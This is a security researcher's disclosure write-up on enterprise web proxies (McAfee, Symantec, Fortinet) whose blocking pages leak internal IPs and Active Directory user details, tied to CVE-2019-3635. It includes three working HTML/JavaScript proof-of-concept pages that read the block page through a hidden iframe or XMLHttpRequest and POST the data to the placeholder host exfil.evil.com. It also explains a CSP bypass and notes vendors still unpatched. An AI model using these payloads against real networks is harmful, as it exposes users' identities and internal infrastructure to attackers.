How to exfiltrate internal information using web proxies.

Security Products are not always secure. In the case of web proxies, there are some aspects to take into consideration when developing this kind of tool.
I’ve been lazy to write about this but here it comes. This write-up comes following a cross-frame scripting vulnerability that I reported to McAfee that resulted in CVE-2019-3635. I’ve also reported this vulnerability to two other vendors which got answered by the technical support team. I’ve also successfully tested the same procedure with another vendor but, due to the lack of time, it’s yet to be reported and therefore still exploitable.


What’s this about?

Several vendors sell solutions to secure the network from unintended content such as downloading malware or visiting dangerous websites.
Each vendor calls a different name to their product, but it’s basically a proxy that intercepts the HTTP packets, and based on filtering rules it will replace the dangerous content by a WARNING page.

So far so good. But what’s wrong with that?

Let’s check the McAfee Web Gateway output when opening an EICAR file.
EICAR is like a smoke test for antiviruses. It’s a sequence of non-malicious characters that every antivirus flags as dangerous.

At this point, as you can see, there is a lot of sensitive information being displayed on the blocking message (let’s call it “blocking message”).
It means that every time you try to open a malicious page inside a network, you get the same “protected” webpage rendered by the enterprise proxy, which includes all this detailed information.

Since I’ve worked on projects involving testing and evaluating phishing campaigns, I thought how cool it would be to have this information as evaluation metrics. Take a few moments to look at all of this beautiful data: Internal IP, Proxy IP, Active Directory User name, Active Directory Groups… Juicy stuff.

Since I didn’t want to invest much time, the easiest way for me to exfiltrate this information was to use an iframe.

Therefore I created a POC page containing an iframe pointing to an EICAR page (it has to be on the same domain, which I will explain later).

Now that the iframe is loaded on the page, let’s get its content using JavaScript.

The final touch is to automate it. In conclusion, the main page embeds an iframe that will contain the blocking message displaying all the sensitive data; then, the regular page will retrieve the iframe content using JavaScript and exfiltrate it to a server of ours.

An example of the extracted information using JavaScript:

What about iframe security?

You may be wondering, but… since the proxy is just replacing the HTTP reply, that “blocking message” is part of the same page that is on the same domain, which means that you can access iframe contents via JavaScript.

Here’s the POC:

<html>
   <body>
      <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
      <iframe id="evilframe" style="display:none" src="eicar.txt"></iframe>
      <h1>WEB PROXY USER INFO</h1>
      <p>You must be serving eicar.txt with malicious content.</p>
      <br>
      <button onclick="pwn()">Read user info</button>
      <script>
         function pwn() {
             var content = document.getElementById("evilframe").contentWindow.document.children[0].textContent;
             var info = content.substring(content.indexOf("INFORMATION INTENDED TO SUPPORT:"), content.length).split("\n");
             info.forEach(i => console.log(i));
             document.write(info[1] + "<br>" + info[2] + "<br>" + info[3] + "<br>" + info[4] + "<br>" + info[5]);
             $.ajax({
                type:'POST',
                url:"http://exfil.evil.com/exfil",
                data:info.toString(),
                success: function(i){
                    return;
                }
         });
         }
      </script>
   </body>
</html>

What about other vendors? Let’s check Bluecoat from Symantec.

Different vendors follow the same implementation ideas, therefore the vulnerability is also present.

POC:

The payload is slightly different, but follows the same principles. POC for this case is the following:

<html>
   <body>
      <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
      <iframe id="BigCompany" style="display:none" src="eicar.txt"></iframe>
      <h1>SYMANTEC WEB PROXY USER INFO</h1>
      <br>
      <button onclick="pwn()">PWN!!</button>
      <script>
         function pwn(){
             var conteudo = document.getElementById("BigCompany").contentWindow.document.children[0].textContent;
             var info = conteudo.substring(conteudo.indexOf("BigCompany blocks access to this site due to its categorization or other potential HR, Legal or Security risk(s)."),conteudo.length).split("\n");
             $.ajax({
             type:'POST',
             url:"http://exfil.evil.com/exfil",
             data:info.toString(),
             success: function(i){
                 return;
                 }
             });
         
             console.log("PWNED!!");
             console.log(info[1]);
             console.log(info[2]);
             console.log(info[3]);
             console.log(info[4]);
             console.log(info[5]);
             console.log("EOP");
             document.write("<html>" + info[1] + "<br>" + info[2] + "<br>" + info[3] + "<br>" + info[4] + "<br>" + "</html>");
         }
      </script>
   </body>
</html>

Any more vendors? Let’s see Fortiguard from Fortinet.

In contrast, other vendors may have different solutions. This is the case of Fortiguard:

What’s the difference?

Fortinet does reply with HTTP security headers:

  • X-Frame-Options: SAMEORIGIN
  • X-XSS-Protection: 1; mode=block
  • X-Content-Type-Options: nosniff
  • Content-Security-Policy: frame-ancestors

Since the Content-Security-Policy: frame-ancestors directive expects a trailing source attribute which is not provided, attempts to embed this page will be blocked. Browser reports:

Content Security Policy: The page’s settings blocked the loading of a resource at http://192.168.1.231:8000/pwn.html (“frame-ancestors”).

How can it be bypassed?

XMLHttpRequest to the rescue!!
By default, XMLHttpRequests are not allowed across domains, unless specified by the target page by using with the Cross-Origin Resource Sharing header.
However, on the same domain, it is allowed. As previously explained, since the blocking message is a response from a request to the same domain, it will be allowed.

Exfil done.

POC:

<html>
   <script src="https://code.jquery.com/jquery-3.4.1.js"></script>
   <body>
      <h1>WEB PROXY USER INFO</h1>
      <p>You must be serving eicar.txt with malicious content.</p>
      <br>
      <button onclick="pwn()">Read user info</button>
      <script>
         function pwn() {
         $.get( "/eicar.txt", function( data ) {
         alert( "Data Loaded: " + data );
         }).fail(function(data) {
         var msg = data.responseText;
         var content =(msg.split("\n")[1]);
         var info = content.substring(content.indexOf("<h1>"),content.length);
         console.log(info);
               $.ajax({
            type:'POST',
            url:"http://exfil.evil.com/exfil",
            data:info.toString(),
            success: function(i){
                return;
                }
            });
         });
         }
      </script>
   </body>
</html>

Epiphany:

At this point, I realized that I could have used the XMLHttpRequest on the previous scenarios. I don’t know if it’s possible, but at least it will be challenging to block XMLHttpRequest on the same domain.

Secure vendors and possible mitigations:

I’ve also tested Checkpoint and it appears to be secure. In contrast with other vendors, Checkpoint’s solution doesn’t replace the content by the blocking message, it replaces it by using an HTTP redirect, which redirects to another domain with properly secure HTTP headers. At this point, iframes and XMLHttpRequests are not possible anymore.
Of course, it is always possible to infer that a user is behind some kind of web filtering solution because if we control the content on a domain, we just need to check if that content was loaded and it was the expected content. For example: the main page does a XMLHttpRequest to a file hosted on the same domain containing a EICAR or a malicious file. If the response to the XMLHttpRequest is not the same file that was hosted, then it means that some web filter has replaced the content.
On an advanced level, patterns can be used. Not all vendors block the same contents, and that can be used to infer what solution is being used. For example: McAfee does not block the same domains that Symantec blocks, neither Fortinet blocks the same files that Checkpoint blocks.
These patterns can be used to infer the solution that is deployed on that network.

Conclusion:

McAfee acknowledged the vulnerability and created an advisory.
I reported the same vulnerability on FortiGuard and Symantec, but unfortunately they didn’t manage to understand/reproduce using the same steps.
I’ve found the same vulnerability on Zscaler, but didn’t manage to have the time to report the issue properly.
Although some vendors can argue that the blocking message is not providing any sensitive information (yet), those messages can be customized and include sensitive information within a network.
On top of that, all these vectors will work better if your domains are flagged as malicious. Luckily, my two domains got mixed results, which proved useful for testing this on multiple vendors.

Are enterprise proxies securing you or exposing you?